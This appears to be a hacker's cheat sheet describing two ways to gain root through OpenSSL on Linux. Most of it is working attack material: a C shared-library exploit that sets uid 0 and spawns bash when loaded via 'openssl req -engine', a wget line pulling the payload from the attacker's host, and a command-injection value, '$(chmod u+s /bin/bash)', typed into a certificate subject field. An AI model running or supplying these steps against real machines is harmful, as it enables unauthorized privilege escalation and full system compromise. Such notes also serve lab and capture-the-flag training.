OpenSSL Privilege Escalation

Privilege Escalation (SUID)

Reference: https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/

1. Get Capabilities

Chack capabilities in the target machine.

# -r: recursive
getcap -r / 2>/dev/null

If you see the openssl has the capability set as below, you can successfully exploit it.

/usr/bin/openssl = cap_setuid+ep

2. Create the Exploit in C

In local machine, you need to have “libssl-dev” to use the header file named “openssl/engine.h” in the exploit. If you don't have it yet, install it.

sudo apt install libssl-dev

Then create "exploit.c".

#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id) {
    setuid(0); setgid(0);
    system("/bin/bash");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Now compile it using gcc.

# -fPIC: for generating a shared object (PIC: Position Independent Code)
# -c: compile and assemble, but do not link.
gcc -fPIC -o exploit.o -c exploit.c
# -shared: create a shared library.
gcc -shared -o exploit.so -lcrypto exploit.o

3. Get the Root Shell

Transfer the "exploit.so" to the target machine.

wget http://<local-ip>:8000/exploit.so

Run the exploit and finally you should get the root shell.

# req: PKCS#10 X.509 Certificate Signing Request (CSR) Management.
# engine: Engine (loadable module) information and manipulation.
openssl req -engine ./exploit.so

Command Injection in Subject

openssl x509 -in /opt/example.crt -noout -subject

If the above command is executed by root and use values of subjects in any way, we might be able to execute arbitrary command as root.

Exploitation

For example, create a certificate that contains the malicious subject value. When the prompt asks us to enter values, we can insert arbitrary command.

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /opt/example.key -out /opt/example.crt -days 1

...
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
...

Then some shell script, that uses the subject values, is executed as root, our command ($(chmod u+s /bin/bash)) may be executed as root.